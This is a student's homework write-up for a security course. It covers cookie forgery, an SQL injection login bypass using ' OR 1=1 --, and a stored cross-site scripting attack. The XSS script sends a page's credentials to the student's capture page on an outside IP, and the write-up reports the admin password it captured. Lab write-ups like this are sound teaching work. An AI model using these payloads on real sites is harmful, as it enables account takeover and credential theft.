Blake Johnson
9663980

Homework 5

1)

a) The reason that the method described is not an effective way to distinguish between users who have gold access and those who have silver access is that if the cookie is the only thing that determines which type of access they have, and that cookie's value is stored in plaintext and not encrypted or authenticated, the user can edit the cookie. Since cookies are stored locally, users can edit them easily, with malicious side effects.

b)The second method is much better because, the user cannot view the plaintext cookie to set which type of access they have. Instead, if they modify the value at all, they are going to get an error outputted when the tag reveals that there has been tampering. This is why hmac with a secret key is much more secure than plaintext. This will prevent tampering unless the user can attain the secret key of the server. At this point, the security relies on the security of the hmac and encryption schemes.

2) After looking into cookie forgery, inspecting the site contents, sending forged post requests with many variations of 'admin', and trying to print out the php files without success, I tried doing SQL injection in the user input fields. There really was not much information on the structure of the login, so I tried using the commands that were shown in the slides, and I was able to get past the login page using ' OR 1=1 --. This string uses "--" to drop the rest of the code on the same line, effectively nullifying the actual login procedure. The secret phrase is:

Welcome friend

The password is: 'Mischief Managed'

However, when I tried to refresh the page, I find that sometimes it says "GET OFF MY LAWN". The reason this attack is successful is because the server does not perform any input filtering, allowing SQL code to be executed.

3) I used cross site scripting to find the admin's password. To begin, I followed the hints given in the homework, and set up my website to capture the value stored in argument 'value' as part of the URL of my page. This value then gets stored in my file 'data.txt'. The first thing I noticed about the comments section of the website was that there was a string printed out above the comments text field that printed out my username and password. This led me to believe that if I was printing out my username and password, the admin was also. Since I had already played around with injecting javascript into the webpage to create an alert saying "HACK" like ta Christian did in section, it was not too hard to add other javascript to do other things. I noticed my username and password was stored in an ID named 'userdata' and so I used my website to capture the data from 'userdata' by appending it to my URL, and subsequently storing that in my 'data.txt' document. Only three lines of code are necessary to perform this operation:

```
<script>
   window.open("http://192.35.222.247/~blake_johnson/capture.php?value="+
document.getElementById('userdata').textContent);
</script>
```

After I inserted this javascript into the comment and submitted, I noticed that my username and password was captured to data.txt. Now all I had to do was wait for the admin to load up my user's comment page, which opened up a window on their machine that captures their user data into my data.txt document on my website. The captured data was:

```
admin:CSS177isStillAwesome
```